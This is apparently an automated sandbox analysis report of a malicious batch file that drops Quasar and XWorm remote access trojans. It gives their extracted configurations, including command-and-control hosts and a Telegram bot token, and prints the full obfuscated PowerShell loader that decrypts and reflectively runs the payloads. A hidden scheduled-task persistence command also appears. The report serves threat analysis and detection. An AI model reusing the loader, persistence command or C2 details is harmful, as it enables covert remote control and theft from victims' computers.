Resubmissions
Analysis
-
max time kernel
58s -
max time network
64s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
14-04-2024 15:44
Static task
static1
Behavioral task
behavioral1
Sample
Client-built.bat
Resource
win7-20240319-en
General
-
Target
Client-built.bat
-
Size
1.6MB
-
MD5
566c653ae6a704041aef596fce6d6a8c
-
SHA1
da35608bf372a6113d941817a96bc3a17de9ef69
-
SHA256
950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
-
SHA512
98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
-
SSDEEP
24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f
Malware Config
Extracted
quasar
1.4.1
Office04
express-divorce.gl.at.ply.gg:22562
6735a92b-88d2-4fbe-8e59-605a85072109
-
encryption_key
8681483EF512C654BECF205A0D74FFCA4B129A98
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Trapix Client Startup
-
subdirectory
SubDir
Extracted
xworm
3.0
traffic-collins.gl.at.ply.gg:24820
uX6FapIHo24Z2JFZ
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284
Signatures
-
Detect Xworm Payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/1844-15-0x000001C0EC320000-0x000001C0EC45A000-memory.dmp family_xworm C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe family_xworm behavioral2/memory/3880-69-0x0000000000DD0000-0x0000000000DDE000-memory.dmp family_xworm -
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2224-57-0x00000262515B0000-0x00000262518D4000-memory.dmp family_quasar -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 27 2224 powershell.exe 46 2224 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-553605503-2331009851-2137262461-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
Processes:
XClientNOT.exepid process 3880 XClientNOT.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-553605503-2331009851-2137262461-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 1844 powershell.exe 1844 powershell.exe 4536 powershell.exe 4536 powershell.exe 2224 powershell.exe 2224 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1844 powershell.exe Token: SeDebugPrivilege 4536 powershell.exe Token: SeIncreaseQuotaPrivilege 4536 powershell.exe Token: SeSecurityPrivilege 4536 powershell.exe Token: SeTakeOwnershipPrivilege 4536 powershell.exe Token: SeLoadDriverPrivilege 4536 powershell.exe Token: SeSystemProfilePrivilege 4536 powershell.exe Token: SeSystemtimePrivilege 4536 powershell.exe Token: SeProfSingleProcessPrivilege 4536 powershell.exe Token: SeIncBasePriorityPrivilege 4536 powershell.exe Token: SeCreatePagefilePrivilege 4536 powershell.exe Token: SeBackupPrivilege 4536 powershell.exe Token: SeRestorePrivilege 4536 powershell.exe Token: SeShutdownPrivilege 4536 powershell.exe Token: SeDebugPrivilege 4536 powershell.exe Token: SeSystemEnvironmentPrivilege 4536 powershell.exe Token: SeRemoteShutdownPrivilege 4536 powershell.exe Token: SeUndockPrivilege 4536 powershell.exe Token: SeManageVolumePrivilege 4536 powershell.exe Token: 33 4536 powershell.exe Token: 34 4536 powershell.exe Token: 35 4536 powershell.exe Token: 36 4536 powershell.exe Token: SeIncreaseQuotaPrivilege 4536 powershell.exe Token: SeSecurityPrivilege 4536 powershell.exe Token: SeTakeOwnershipPrivilege 4536 powershell.exe Token: SeLoadDriverPrivilege 4536 powershell.exe Token: SeSystemProfilePrivilege 4536 powershell.exe Token: SeSystemtimePrivilege 4536 powershell.exe Token: SeProfSingleProcessPrivilege 4536 powershell.exe Token: SeIncBasePriorityPrivilege 4536 powershell.exe Token: SeCreatePagefilePrivilege 4536 powershell.exe Token: SeBackupPrivilege 4536 powershell.exe Token: SeRestorePrivilege 4536 powershell.exe Token: SeShutdownPrivilege 4536 powershell.exe Token: SeDebugPrivilege 4536 powershell.exe Token: SeSystemEnvironmentPrivilege 4536 powershell.exe Token: SeRemoteShutdownPrivilege 4536 powershell.exe Token: SeUndockPrivilege 4536 powershell.exe Token: SeManageVolumePrivilege 4536 powershell.exe Token: 33 4536 powershell.exe Token: 34 4536 powershell.exe Token: 35 4536 powershell.exe Token: 36 4536 powershell.exe Token: SeIncreaseQuotaPrivilege 4536 powershell.exe Token: SeSecurityPrivilege 4536 powershell.exe Token: SeTakeOwnershipPrivilege 4536 powershell.exe Token: SeLoadDriverPrivilege 4536 powershell.exe Token: SeSystemProfilePrivilege 4536 powershell.exe Token: SeSystemtimePrivilege 4536 powershell.exe Token: SeProfSingleProcessPrivilege 4536 powershell.exe Token: SeIncBasePriorityPrivilege 4536 powershell.exe Token: SeCreatePagefilePrivilege 4536 powershell.exe Token: SeBackupPrivilege 4536 powershell.exe Token: SeRestorePrivilege 4536 powershell.exe Token: SeShutdownPrivilege 4536 powershell.exe Token: SeDebugPrivilege 4536 powershell.exe Token: SeSystemEnvironmentPrivilege 4536 powershell.exe Token: SeRemoteShutdownPrivilege 4536 powershell.exe Token: SeUndockPrivilege 4536 powershell.exe Token: SeManageVolumePrivilege 4536 powershell.exe Token: 33 4536 powershell.exe Token: 34 4536 powershell.exe Token: 35 4536 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 3720 wrote to memory of 1844 3720 cmd.exe powershell.exe PID 3720 wrote to memory of 1844 3720 cmd.exe powershell.exe PID 1844 wrote to memory of 4536 1844 powershell.exe powershell.exe PID 1844 wrote to memory of 4536 1844 powershell.exe powershell.exe PID 1844 wrote to memory of 3748 1844 powershell.exe WScript.exe PID 1844 wrote to memory of 3748 1844 powershell.exe WScript.exe PID 3748 wrote to memory of 2948 3748 WScript.exe cmd.exe PID 3748 wrote to memory of 2948 3748 WScript.exe cmd.exe PID 2948 wrote to memory of 2224 2948 cmd.exe powershell.exe PID 2948 wrote to memory of 2224 2948 cmd.exe powershell.exe PID 2224 wrote to memory of 3880 2224 powershell.exe XClientNOT.exe PID 2224 wrote to memory of 3880 2224 powershell.exe XClientNOT.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_334_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_334.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4536 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_334.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_334.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_334.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_334.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2224 -
C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"6⤵
- Executes dropped EXE
PID:3880
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD568dc886431c7bc43c168ee2f2349dfa9
SHA12fd61cfdeaf52ee2ccd902ff1cc3e5c08f426ccc
SHA256944abd73b0e4b30b22863d73594cac5fbcf4de64469d13dd1e3a3ca8cf85440e
SHA51297c55d61e2df6d2f7a858347ad6e1cecbfc26c3b5863850092b9625e549408c053f0787ae267bfdc403907081a1458e6d39acc897c869c3460bd003a865185a6
-
Filesize
31KB
MD5dd466e4e324143a67a406797c23ee2bc
SHA1cc369b99c18c9322734b14908e7b21f2bec48118
SHA2561a87f2fed2a9263e703c44d25da8242016a640db930678a0f497879267c133c8
SHA512603c082427129deac3bce210d87e3f4125dd429ad7fe13422b7a3d80f8e282ae8ad887a20e47de12a3f90c24ab4a143dc3b069fd8da122f4f96b70f94bd7f438
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.6MB
MD5566c653ae6a704041aef596fce6d6a8c
SHA1da35608bf372a6113d941817a96bc3a17de9ef69
SHA256950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
SHA51298662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
-
Filesize
115B
MD524c7af433b8a5127b679964343181505
SHA157bedc4d405eed838f67a880fb22e9e921979589
SHA256badbe5b3ed31eb7b68cdcf1d45a0750726410b72dddd696a9b87be41cf36a23f
SHA512ae45c43d23d87b71bba02b28bab466cd91e767335f21e4d49b21a9705b26f9bc5b5288dbb9bc1d4a6081cbbc346bd170ab5a85613a2907dce6d816978f15f0ed